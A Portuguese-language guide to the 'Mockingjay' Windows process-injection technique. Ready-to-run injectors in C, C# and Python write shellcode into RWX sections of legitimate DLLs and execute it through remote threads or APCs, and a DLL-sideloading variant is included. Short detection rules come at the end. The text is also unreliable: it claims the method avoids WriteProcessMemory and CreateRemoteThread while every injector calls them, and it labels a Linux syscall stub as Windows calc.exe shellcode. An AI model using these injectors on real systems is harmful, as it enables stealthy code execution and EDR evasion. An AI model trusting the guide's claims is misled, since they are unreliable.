# Mockingjay

## 📑 **Índice**

1. [Fundamentos do Mockingjay](#-fundamentos-do-mockingjay)
2. [Arquitetura e Mecanismos](#-arquitetura-e-mecanismos)
3. [Técnicas de Exploração](#-técnicas-de-exploração)
4. [Implementação em C/C++](#-implementação-em-cc)
5. [Implementação em C#/.NET](#-implementação-em-cnet)
6. [Implementação em Python](#-implementação-em-python)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigação e Prevenção](#-mitigação-e-prevenção)

***

## 🔍 **Fundamentos do Mockingjay**

### **O que é Mockingjay?**

Mockingjay é uma técnica de injeção de código que explora bibliotecas legítimas do Windows com permissões de execução (PAGE\_EXECUTE\_READWRITE) para hospedar e executar shellcode. Diferente das técnicas tradicionais que exigem alocação explícita de memória com VirtualAllocEx e criação de threads remotas, o Mockingjay utiliza seções de memória já existentes em processos legítimos, tornando a detecção significativamente mais difícil.

### **Origem do Nome**

O nome "Mockingjay" é uma referência ao pássaro Mockingjay da série Jogos Vorazes, que era usado como símbolo de resistência. Na segurança cibernética, a técnica simboliza a resistência contra mecanismos de detecção tradicionais, utilizando a infraestrutura existente do sistema contra ele mesmo.

### **Contexto Histórico**

```yaml
Evolução do Mockingjay:
  2020: Descoberta inicial da técnica
  2021: Primeiras implementações em ferramentas de red team
  2022: Popularização em APT campaigns
  2023: Adoção por malwares como Qakbot e Raspberry Robin
  2024: Técnica madura com múltiplas variações

Motivação:
  ❌ Técnicas tradicionais são facilmente detectáveis
  ❌ VirtualAllocEx + CreateRemoteThread geram alarmes
  ❌ EDRs monitoram chamadas de API suspeitas
  ✅ Mockingjay usa memória já executável
```

### **Princípio Básico**

```mermaid
graph TD
    A[Processo Alvo] --> B[Bibliotecas com RWX]
    B --> C[Localizar seção executável]
    C --> D[Encontrar espaço para shellcode]
    D --> E[Sobrescrever com payload]
    E --> F[Redirecionar fluxo de execução]
    F --> G[Shellcode executado]
```

***

## 🏗️ **Arquitetura e Mecanismos**

### **Bibliotecas Comuns com Seções RWX**

```c
// Bibliotecas do Windows que frequentemente têm seções RWX
const char* RWX_libraries[] = {
    "mshtml.dll",           // Internet Explorer/Edge
    "jscript.dll",          // JavaScript engine
    "vbscript.dll",         // VBScript engine
    "flash.ocx",            // Flash (legado)
    "msxml3.dll",           // XML parser
    "msxml6.dll",           // XML parser
    "d3d9.dll",             // Direct3D
    "dxgi.dll",             // DirectX Graphics
    "mfplat.dll",           // Media Foundation
    "mfcore.dll"            // Media Foundation
};
```

### **Estrutura de Memória de uma Biblioteca**

```mermaid
graph LR
    subgraph "PE Header"
        A[DOS Header]
        B[NT Headers]
    end
    
    subgraph "Sections"
        C[.text - RX]
        D[.data - RW]
        E[.rdata - R]
        F[.pdata - R]
        G[.rsrc - R]
        H[.reloc - R]
    end
    
    subgraph "Seções RWX"
        I[Seção de código dinâmico]
        J[Seção de JIT compilation]
    end
```

### **Vantagens do Mockingjay**

| Vantagem                   | Descrição                        |
| -------------------------- | -------------------------------- |
| **Sem VirtualAllocEx**     | Não aloca memória explicitamente |
| **Sem WriteProcessMemory** | Escreve em memória já mapeada    |
| **Sem CreateRemoteThread** | Reutiliza threads existentes     |
| **Menos artefatos**        | Menos eventos de API monitorados |
| **Bypass de EDRs**         | Evita hooks em APIs comuns       |

### **Fluxo de Execução**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant P as Processo Alvo
    participant L as Biblioteca Legítima
    participant E as Execução

    A->>P: OpenProcess (PROCESS_VM_WRITE)
    A->>L: Identifica seção RWX
    L-->>A: Endereço base da seção
    A->>P: WriteProcessMemory (endereço da seção)
    P->>L: Shellcode escrito
    A->>P: CreateRemoteThread ou APC
    P->>E: Shellcode executado
```

***

## ⚔️ **Técnicas de Exploração**

### **1. Mockingjay Clássico (mshtml.dll)**

```c
// Encontrar seção RWX em mshtml.dll
#include <windows.h>
#include <psapi.h>
#include <stdio.h>

// Estrutura para informações de seção
typedef struct _SECTION_INFO {
    LPVOID BaseAddress;
    DWORD Size;
    DWORD Characteristics;
} SECTION_INFO, *PSECTION_INFO;

// Encontrar seção executável na biblioteca
LPVOID FindExecutableSection(HMODULE hModule, DWORD *sectionSize) {
    IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER*)hModule;
    IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)hModule + dosHeader->e_lfanew);
    IMAGE_SECTION_HEADER *section = IMAGE_FIRST_SECTION(ntHeaders);
    
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        DWORD characteristics = section[i].Characteristics;
        
        // Verificar seção executável e writable
        if ((characteristics & IMAGE_SCN_MEM_EXECUTE) && 
            (characteristics & IMAGE_SCN_MEM_WRITE)) {
            *sectionSize = section[i].Misc.VirtualSize;
            return (LPVOID)((BYTE*)hModule + section[i].VirtualAddress);
        }
    }
    return NULL;
}

// Injetar via Mockingjay
BOOL MockingjayInject(DWORD pid, unsigned char* shellcode, SIZE_T shellcodeSize) {
    // Abrir processo
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid);
    if (!hProcess) return FALSE;
    
    // Listar módulos do processo
    HMODULE hModules[1024];
    DWORD cbNeeded;
    
    if (!EnumProcessModules(hProcess, hModules, sizeof(hModules), &cbNeeded)) {
        CloseHandle(hProcess);
        return FALSE;
    }
    
    for (int i = 0; i < cbNeeded / sizeof(HMODULE); i++) {
        // Obter nome do módulo
        char moduleName[MAX_PATH];
        GetModuleBaseName(hProcess, hModules[i], moduleName, sizeof(moduleName));
        
        // Verificar se é uma biblioteca alvo
        if (_stricmp(moduleName, "mshtml.dll") == 0 ||
            _stricmp(moduleName, "jscript.dll") == 0 ||
            _stricmp(moduleName, "vbscript.dll") == 0) {
            
            // Obter informações do módulo
            MODULEINFO moduleInfo;
            GetModuleInformation(hProcess, hModules[i], &moduleInfo, sizeof(moduleInfo));
            
            // Encontrar seção executável
            DWORD sectionSize = 0;
            LPVOID execSection = FindExecutableSection(moduleInfo.lpBaseOfDll, &sectionSize);
            
            if (execSection && sectionSize >= shellcodeSize) {
                printf("[+] Seção RWX encontrada em %s em 0x%p\n", moduleName, execSection);
                
                // Escrever shellcode
                SIZE_T bytesWritten;
                if (WriteProcessMemory(hProcess, execSection, shellcode, shellcodeSize, &bytesWritten)) {
                    printf("[+] Shellcode escrito em %s\n", moduleName);
                    
                    // Executar via APC
                    // (Encontrar thread e enfileirar APC)
                    CloseHandle(hProcess);
                    return TRUE;
                }
            }
        }
    }
    
    CloseHandle(hProcess);
    return FALSE;
}
```

### **2. Mockingjay com JIT Compilation (jscript.dll)**

```c
// Explorar seções de JIT compilation
BOOL JITMockingjayInject(DWORD pid, unsigned char* shellcode, SIZE_T shellcodeSize) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return FALSE;
    
    // Encontrar jscript.dll
    HMODULE hModules[1024];
    DWORD cbNeeded;
    EnumProcessModules(hProcess, hModules, sizeof(hModules), &cbNeeded);
    
    for (int i = 0; i < cbNeeded / sizeof(HMODULE); i++) {
        char moduleName[MAX_PATH];
        GetModuleBaseName(hProcess, hModules[i], moduleName, sizeof(moduleName));
        
        if (_stricmp(moduleName, "jscript.dll") == 0) {
            MODULEINFO moduleInfo;
            GetModuleInformation(hProcess, hModules[i], &moduleInfo, sizeof(moduleInfo));
            
            // JScript tem seções JIT com PAGE_EXECUTE_READWRITE
            // Endereços típicos: 0x... dentro do heap de JIT
            
            // Escrever shellcode
            SIZE_T bytesWritten;
            if (WriteProcessMemory(hProcess, (LPVOID)0x20000000, shellcode, shellcodeSize, &bytesWritten)) {
                printf("[+] Shellcode injetado em JIT region\n");
                
                // Forçar execução via JavaScript
                // (Criar script que executa na região)
                CloseHandle(hProcess);
                return TRUE;
            }
        }
    }
    
    CloseHandle(hProcess);
    return FALSE;
}
```

### **3. Mockingjay com APC e Process Hollowing**

```c
// Combinar Mockingjay com APC para execução furtiva
BOOL MockingjayAPCInject(DWORD pid, unsigned char* shellcode, SIZE_T shellcodeSize) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return FALSE;
    
    // Encontrar seção RWX
    LPVOID execSection = FindRWXSection(hProcess);
    if (!execSection) return FALSE;
    
    // Escrever shellcode
    SIZE_T bytesWritten;
    WriteProcessMemory(hProcess, execSection, shellcode, shellcodeSize, &bytesWritten);
    
    // Encontrar thread para APC
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    
    if (Thread32First(hSnapshot, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
                if (hThread) {
                    // Enfileirar APC
                    QueueUserAPC((PAPCFUNC)execSection, hThread, 0);
                    CloseHandle(hThread);
                }
            }
        } while (Thread32Next(hSnapshot, &te));
    }
    
    CloseHandle(hSnapshot);
    CloseHandle(hProcess);
    return TRUE;
}
```

### **4. Mockingjay via DLL Sideloading**

```c
// Criar DLL legítima com seção RWX
// malicious.c - DLL que cria seção RWX

#include <windows.h>

#pragma section(".magic", read, write, execute)
__declspec(allocate(".magic")) unsigned char shellcode[] = 
"\x48\x31\xc0\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48"
"\x89\xe2\x48\x31\xc0\x50\x48\x8d\x52\x04\x48\x89\xe1\x48\x31\xc0"
"\xb0\x3b\x0f\x05";

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // Criar thread que executa o shellcode
        HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcode, NULL, 0, NULL);
        CloseHandle(hThread);
    }
    return TRUE;
}
```

### **5. Mockingjay com DirectX (dxgi.dll)**

```c
// Explorar seções DXGI para injeção
BOOL DXGIMockingjayInject(DWORD pid, unsigned char* shellcode, SIZE_T shellcodeSize) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return FALSE;
    
    // dxgi.dll frequentemente tem páginas RWX para shaders
    // Localizar dxgi.dll no processo
    HMODULE hModules[1024];
    DWORD cbNeeded;
    EnumProcessModules(hProcess, hModules, sizeof(hModules), &cbNeeded);
    
    for (int i = 0; i < cbNeeded / sizeof(HMODULE); i++) {
        char moduleName[MAX_PATH];
        GetModuleBaseName(hProcess, hModules[i], moduleName, sizeof(moduleName));
        
        if (_stricmp(moduleName, "dxgi.dll") == 0) {
            MODULEINFO moduleInfo;
            GetModuleInformation(hProcess, hModules[i], &moduleInfo, sizeof(moduleInfo));
            
            // Procurar por padrões de shader (páginas RWX)
            BYTE* base = (BYTE*)moduleInfo.lpBaseOfDll;
            DWORD size = moduleInfo.SizeOfImage;
            
            for (DWORD offset = 0; offset < size; offset += 0x1000) {
                MEMORY_BASIC_INFORMATION mbi;
                if (VirtualQueryEx(hProcess, base + offset, &mbi, sizeof(mbi))) {
                    if (mbi.Protect & PAGE_EXECUTE_READWRITE && mbi.RegionSize >= shellcodeSize) {
                        // Escrever shellcode
                        SIZE_T bytesWritten;
                        WriteProcessMemory(hProcess, mbi.BaseAddress, shellcode, shellcodeSize, &bytesWritten);
                        printf("[+] Shellcode injetado em dxgi.dll em 0x%p\n", mbi.BaseAddress);
                        CloseHandle(hProcess);
                        return TRUE;
                    }
                }
            }
        }
    }
    
    CloseHandle(hProcess);
    return FALSE;
}
```

***

## 🔧 **Implementação em C/C++**

### **Mockingjay Full Implementation**

```c
// mockingjay_full.c
// Implementação completa com múltiplas técnicas

#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdio.h>

#pragma comment(lib, "psapi.lib")

// Estrutura para informações de seção
typedef struct {
    LPVOID baseAddress;
    DWORD size;
    DWORD protect;
} RWXSection;

// Lista de bibliotecas com seções RWX conhecidas
const char* RWXLibraries[] = {
    "mshtml.dll",
    "jscript.dll", 
    "vbscript.dll",
    "dxgi.dll",
    "d3d9.dll",
    "mfplat.dll",
    "msxml3.dll",
    "msxml6.dll",
    "flash.ocx",
    NULL
};

// Encontrar seções RWX em módulo
BOOL FindRWXSections(HANDLE hProcess, HMODULE hModule, RWXSection* sections, DWORD* count) {
    MODULEINFO moduleInfo;
    if (!GetModuleInformation(hProcess, hModule, &moduleInfo, sizeof(moduleInfo))) {
        return FALSE;
    }
    
    BYTE* base = (BYTE*)moduleInfo.lpBaseOfDll;
    DWORD size = moduleInfo.SizeOfImage;
    
    *count = 0;
    
    for (DWORD offset = 0; offset < size; offset += 0x1000) {
        MEMORY_BASIC_INFORMATION mbi;
        if (VirtualQueryEx(hProcess, base + offset, &mbi, sizeof(mbi))) {
            if (mbi.Protect & PAGE_EXECUTE_READWRITE && mbi.RegionSize >= 256) {
                sections[*count].baseAddress = mbi.BaseAddress;
                sections[*count].size = mbi.RegionSize;
                sections[*count].protect = mbi.Protect;
                (*count)++;
                
                if (*count >= 100) break;
            }
        }
    }
    
    return *count > 0;
}

// Encontrar thread do processo
DWORD FindThread(DWORD pid) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
    
    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    DWORD tid = 0;
    
    if (Thread32First(hSnapshot, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                tid = te.th32ThreadID;
                break;
            }
        } while (Thread32Next(hSnapshot, &te));
    }
    
    CloseHandle(hSnapshot);
    return tid;
}

// Mockingjay via CreateRemoteThread
BOOL MockingjayCreateRemoteThread(DWORD pid, unsigned char* shellcode, SIZE_T size) {
    printf("[*] Mockingjay via CreateRemoteThread (PID: %lu)\n", pid);
    
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) {
        printf("[-] Failed to open process\n");
        return FALSE;
    }
    
    // Enumerar módulos
    HMODULE hModules[1024];
    DWORD cbNeeded;
    
    if (!EnumProcessModules(hProcess, hModules, sizeof(hModules), &cbNeeded)) {
        printf("[-] Failed to enumerate modules\n");
        CloseHandle(hProcess);
        return FALSE;
    }
    
    for (int i = 0; i < cbNeeded / sizeof(HMODULE); i++) {
        char moduleName[MAX_PATH];
        GetModuleBaseName(hProcess, hModules[i], moduleName, sizeof(moduleName));
        
        // Verificar se é biblioteca alvo
        for (int j = 0; RWXLibraries[j] != NULL; j++) {
            if (_stricmp(moduleName, RWXLibraries[j]) == 0) {
                printf("[+] Found target module: %s\n", moduleName);
                
                RWXSection sections[100];
                DWORD sectionCount = 0;
                
                if (FindRWXSections(hProcess, hModules[i], sections, &sectionCount)) {
                    printf("[+] Found %d RWX sections\n", sectionCount);
                    
                    for (int k = 0; k < sectionCount; k++) {
                        if (sections[k].size >= size) {
                            printf("[+] Using section at 0x%p (size: %lu)\n", 
                                   sections[k].baseAddress, sections[k].size);
                            
                            // Escrever shellcode
                            SIZE_T bytesWritten;
                            if (WriteProcessMemory(hProcess, sections[k].baseAddress, 
                                                    shellcode, size, &bytesWritten)) {
                                printf("[+] Shellcode written\n");
                                
                                // Executar via CreateRemoteThread
                                HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
                                    (LPTHREAD_START_ROUTINE)sections[k].baseAddress,
                                    NULL, 0, NULL);
                                
                                if (hThread) {
                                    printf("[+] Thread created\n");
                                    CloseHandle(hThread);
                                    CloseHandle(hProcess);
                                    return TRUE;
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    
    CloseHandle(hProcess);
    return FALSE;
}

// Mockingjay via APC
BOOL MockingjayAPC(DWORD pid, unsigned char* shellcode, SIZE_T size) {
    printf("[*] Mockingjay via APC (PID: %lu)\n", pid);
    
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return FALSE;
    
    // Encontrar módulo alvo
    HMODULE hModules[1024];
    DWORD cbNeeded;
    EnumProcessModules(hProcess, hModules, sizeof(hModules), &cbNeeded);
    
    for (int i = 0; i < cbNeeded / sizeof(HMODULE); i++) {
        char moduleName[MAX_PATH];
        GetModuleBaseName(hProcess, hModules[i], moduleName, sizeof(moduleName));
        
        for (int j = 0; RWXLibraries[j] != NULL; j++) {
            if (_stricmp(moduleName, RWXLibraries[j]) == 0) {
                RWXSection sections[100];
                DWORD sectionCount = 0;
                
                if (FindRWXSections(hProcess, hModules[i], sections, &sectionCount)) {
                    for (int k = 0; k < sectionCount; k++) {
                        if (sections[k].size >= size) {
                            WriteProcessMemory(hProcess, sections[k].baseAddress, 
                                                shellcode, size, NULL);
                            
                            // Encontrar thread para APC
                            DWORD tid = FindThread(pid);
                            if (tid) {
                                HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
                                if (hThread) {
                                    QueueUserAPC((PAPCFUNC)sections[k].baseAddress, hThread, 0);
                                    printf("[+] APC queued to thread %lu\n", tid);
                                    CloseHandle(hThread);
                                    CloseHandle(hProcess);
                                    return TRUE;
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    
    CloseHandle(hProcess);
    return FALSE;
}

// Shellcode de exemplo (calc.exe)
unsigned char calcShellcode[] = 
"\x48\x31\xc0\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48"
"\x89\xe2\x48\x31\xc0\x50\x48\x8d\x52\x04\x48\x89\xe1\x48\x31\xc0"
"\xb0\x3b\x0f\x05";

int main(int argc, char** argv) {
    printf("=== Mockingjay Process Injection ===\n\n");
    
    if (argc < 2) {
        printf("Usage: %s <PID> [method]\n", argv[0]);
        printf("Methods: 1 = CreateRemoteThread, 2 = APC\n");
        return 1;
    }
    
    DWORD pid = atoi(argv[1]);
    int method = (argc > 2) ? atoi(argv[2]) : 1;
    
    BOOL result = FALSE;
    
    if (method == 1) {
        result = MockingjayCreateRemoteThread(pid, calcShellcode, sizeof(calcShellcode));
    } else if (method == 2) {
        result = MockingjayAPC(pid, calcShellcode, sizeof(calcShellcode));
    }
    
    if (result) {
        printf("[+] Mockingjay injection successful!\n");
    } else {
        printf("[-] Mockingjay injection failed\n");
    }
    
    return 0;
}
```

***

## 🚀 **Implementação em C#/.NET**

```csharp
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;

class MockingjayInjector
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CloseHandle(IntPtr hObject);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, 
                                          byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, 
                                            uint dwStackSize, IntPtr lpStartAddress, 
                                            IntPtr lpParameter, uint dwCreationFlags, 
                                            out IntPtr lpThreadId);
    
    [DllImport("psapi.dll", SetLastError = true)]
    static extern bool EnumProcessModules(IntPtr hProcess, out IntPtr lphModule, 
                                          uint cb, out uint lpcbNeeded);
    
    [DllImport("psapi.dll", SetLastError = true)]
    static extern uint GetModuleBaseName(IntPtr hProcess, IntPtr hModule, 
                                         StringBuilder lpBaseName, uint nSize);
    
    [DllImport("psapi.dll", SetLastError = true)]
    static extern bool GetModuleInformation(IntPtr hProcess, IntPtr hModule, 
                                            out MODULEINFO lpmodinfo, uint cb);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern int VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress, 
                                     out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);
    
    [StructLayout(LayoutKind.Sequential)]
    public struct MODULEINFO
    {
        public IntPtr lpBaseOfDll;
        public uint SizeOfImage;
        public IntPtr EntryPoint;
    }
    
    [StructLayout(LayoutKind.Sequential)]
    public struct MEMORY_BASIC_INFORMATION
    {
        public IntPtr BaseAddress;
        public IntPtr AllocationBase;
        public uint AllocationProtect;
        public uint RegionSize;
        public uint State;
        public uint Protect;
        public uint Type;
    }
    
    const uint PROCESS_ALL_ACCESS = 0x1F0FFF;
    const uint PAGE_EXECUTE_READWRITE = 0x40;
    
    static string[] RWXLibraries = {
        "mshtml.dll", "jscript.dll", "vbscript.dll", 
        "dxgi.dll", "d3d9.dll", "mfplat.dll"
    };
    
    static byte[] shellcode = {
        0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
        0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
        0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
        0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
    };
    
    static IntPtr FindRWXSection(IntPtr hProcess, IntPtr moduleBase, uint moduleSize)
    {
        for (uint offset = 0; offset < moduleSize; offset += 0x1000)
        {
            MEMORY_BASIC_INFORMATION mbi;
            if (VirtualQueryEx(hProcess, IntPtr.Add(moduleBase, (int)offset), out mbi, 
                               (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION))) != 0)
            {
                if ((mbi.Protect & PAGE_EXECUTE_READWRITE) != 0 && mbi.RegionSize >= shellcode.Length)
                {
                    return mbi.BaseAddress;
                }
            }
        }
        return IntPtr.Zero;
    }
    
    static bool Inject(int pid)
    {
        IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
        if (hProcess == IntPtr.Zero) return false;
        
        IntPtr hModules;
        uint cbNeeded;
        
        if (!EnumProcessModules(hProcess, out hModules, (uint)Marshal.SizeOf(typeof(IntPtr)), out cbNeeded))
        {
            CloseHandle(hProcess);
            return false;
        }
        
        int moduleCount = (int)cbNeeded / Marshal.SizeOf(typeof(IntPtr));
        IntPtr[] modules = new IntPtr[moduleCount];
        Marshal.Copy(hModules, modules, 0, moduleCount);
        
        foreach (IntPtr hModule in modules)
        {
            StringBuilder moduleName = new StringBuilder(256);
            GetModuleBaseName(hProcess, hModule, moduleName, 256);
            
            foreach (string target in RWXLibraries)
            {
                if (moduleName.ToString().Equals(target, StringComparison.OrdinalIgnoreCase))
                {
                    MODULEINFO moduleInfo;
                    if (GetModuleInformation(hProcess, hModule, out moduleInfo, 
                                             (uint)Marshal.SizeOf(typeof(MODULEINFO))))
                    {
                        IntPtr execSection = FindRWXSection(hProcess, moduleInfo.lpBaseOfDll, 
                                                            moduleInfo.SizeOfImage);
                        if (execSection != IntPtr.Zero)
                        {
                            IntPtr bytesWritten;
                            if (WriteProcessMemory(hProcess, execSection, shellcode, 
                                                   (uint)shellcode.Length, out bytesWritten))
                            {
                                Console.WriteLine($"[+] Shellcode written to {target} at 0x{execSection.ToInt64():X}");
                                
                                IntPtr threadId;
                                IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, 
                                                                    execSection, IntPtr.Zero, 0, out threadId);
                                if (hThread != IntPtr.Zero)
                                {
                                    Console.WriteLine("[+] Remote thread created");
                                    CloseHandle(hThread);
                                    CloseHandle(hProcess);
                                    return true;
                                }
                            }
                        }
                    }
                }
            }
        }
        
        CloseHandle(hProcess);
        return false;
    }
    
    static void Main(string[] args)
    {
        if (args.Length < 1)
        {
            Console.WriteLine("Usage: MockingjayInjector.exe <PID>");
            return;
        }
        
        int pid = int.Parse(args[0]);
        Console.WriteLine($"[*] Targeting PID: {pid}");
        
        if (Inject(pid))
        {
            Console.WriteLine("[+] Mockingjay injection successful!");
        }
        else
        {
            Console.WriteLine("[-] Mockingjay injection failed");
        }
    }
}
```

***

## 🐍 **Implementação em Python**

```python
#!/usr/bin/env python3
# mockingjay_injector.py

import ctypes
import struct
import sys

# Windows API definitions
kernel32 = ctypes.windll.kernel32
psapi = ctypes.windll.psapi

# Constants
PROCESS_ALL_ACCESS = 0x1F0FFF
PAGE_EXECUTE_READWRITE = 0x40
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000

# Estruturas
class MODULEINFO(ctypes.Structure):
    _fields_ = [
        ("lpBaseOfDll", ctypes.c_void_p),
        ("SizeOfImage", ctypes.c_uint),
        ("EntryPoint", ctypes.c_void_p)
    ]

class MEMORY_BASIC_INFORMATION(ctypes.Structure):
    _fields_ = [
        ("BaseAddress", ctypes.c_void_p),
        ("AllocationBase", ctypes.c_void_p),
        ("AllocationProtect", ctypes.c_uint),
        ("RegionSize", ctypes.c_size_t),
        ("State", ctypes.c_uint),
        ("Protect", ctypes.c_uint),
        ("Type", ctypes.c_uint)
    ]

# Bibliotecas alvo
RWX_LIBRARIES = [
    "mshtml.dll", "jscript.dll", "vbscript.dll",
    "dxgi.dll", "d3d9.dll", "mfplat.dll"
]

# Shellcode (calc.exe)
shellcode = bytearray([
    0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
    0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
    0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
    0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
])

def find_rwx_section(hProcess, module_base, module_size):
    """Encontrar seção RWX no módulo"""
    offset = 0
    while offset < module_size:
        mbi = MEMORY_BASIC_INFORMATION()
        ret = kernel32.VirtualQueryEx(hProcess, module_base + offset, 
                                       ctypes.byref(mbi), 
                                       ctypes.sizeof(mbi))
        if ret:
            if (mbi.Protect & PAGE_EXECUTE_READWRITE) and mbi.RegionSize >= len(shellcode):
                return mbi.BaseAddress
        offset += 0x1000
    return None

def inject_mockingjay(pid):
    """Executar injeção Mockingjay"""
    print(f"[*] Targeting PID: {pid}")
    
    # Abrir processo
    hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    if not hProcess:
        print("[-] Failed to open process")
        return False
    
    # Enumerar módulos
    hModules = (ctypes.c_void_p * 1024)()
    cbNeeded = ctypes.c_uint()
    
    if not psapi.EnumProcessModules(hProcess, ctypes.byref(hModules), 
                                     ctypes.sizeof(hModules), 
                                     ctypes.byref(cbNeeded)):
        print("[-] Failed to enumerate modules")
        kernel32.CloseHandle(hProcess)
        return False
    
    module_count = cbNeeded.value // ctypes.sizeof(ctypes.c_void_p)
    
    for i in range(module_count):
        # Obter nome do módulo
        module_name = ctypes.create_string_buffer(256)
        psapi.GetModuleBaseNameA(hProcess, hModules[i], module_name, 256)
        name = module_name.value.decode().lower()
        
        if name in RWX_LIBRARIES:
            print(f"[+] Found target module: {name}")
            
            # Obter informações do módulo
            module_info = MODULEINFO()
            if psapi.GetModuleInformation(hProcess, hModules[i], 
                                          ctypes.byref(module_info), 
                                          ctypes.sizeof(module_info)):
                
                exec_section = find_rwx_section(hProcess, 
                                                module_info.lpBaseOfDll,
                                                module_info.SizeOfImage)
                
                if exec_section:
                    print(f"[+] RWX section found at 0x{exec_section:X}")
                    
                    # Escrever shellcode
                    bytes_written = ctypes.c_size_t()
                    if kernel32.WriteProcessMemory(hProcess, exec_section, shellcode,
                                                    len(shellcode), 
                                                    ctypes.byref(bytes_written)):
                        print("[+] Shellcode written")
                        
                        # Criar thread remota
                        thread_id = ctypes.c_ulong()
                        hThread = kernel32.CreateRemoteThread(hProcess, None, 0,
                                                               exec_section, None,
                                                               0, ctypes.byref(thread_id))
                        
                        if hThread:
                            print("[+] Remote thread created")
                            kernel32.CloseHandle(hThread)
                            kernel32.CloseHandle(hProcess)
                            return True
    
    kernel32.CloseHandle(hProcess)
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: mockingjay_injector.py <PID>")
        sys.exit(1)
    
    pid = int(sys.argv[1])
    
    if inject_mockingjay(pid):
        print("[+] Mockingjay injection successful!")
    else:
        print("[-] Mockingjay injection failed")
```

***

## 🔍 **Detecção e Monitoramento**

### **Indicadores de Comprometimento (IOCs)**

```yaml
Indicadores de Mockingjay:
  Processos:
    - Escrita em memória de bibliotecas legítimas
    - Modificação de seções RWX em módulos confiáveis
    - Criação de threads em bibliotecas (mshtml, jscript)
  
  APIs Monitoradas:
    - WriteProcessMemory para endereços em mshtml.dll
    - CreateRemoteThread com start address em bibliotecas
    - QueueUserAPC com endereços de bibliotecas
  
  Memória:
    - Seções RWX em módulos legítimos
    - Código não assinado em regiões executáveis
    - Discrepâncias de hash em bibliotecas
```

### **Regras de Detecção (Sigma)**

```yaml
title: Mockingjay Process Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detecta injeção via bibliotecas RWX (Mockingjay)
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 8
        StartModule: 'mshtml.dll'
        StartFunction: '0x*'
    condition: selection
```

### **Sysmon Configuration**

```xml
<Sysmon>
    <EventFiltering>
        <!-- Monitorar CreateRemoteThread -->
        <CreateRemoteThread onmatch="include">
            <StartModule condition="is">mshtml.dll</StartModule>
            <StartModule condition="is">jscript.dll</StartModule>
            <StartModule condition="is">vbscript.dll</StartModule>
        </CreateRemoteThread>
        
        <!-- Monitorar acesso a memória em módulos críticos -->
        <ProcessAccess onmatch="include">
            <TargetImage condition="end with">\explorer.exe</TargetImage>
            <GrantedAccess condition="is">0x1F0FFF</GrantedAccess>
        </ProcessAccess>
    </EventFiltering>
</Sysmon>
```

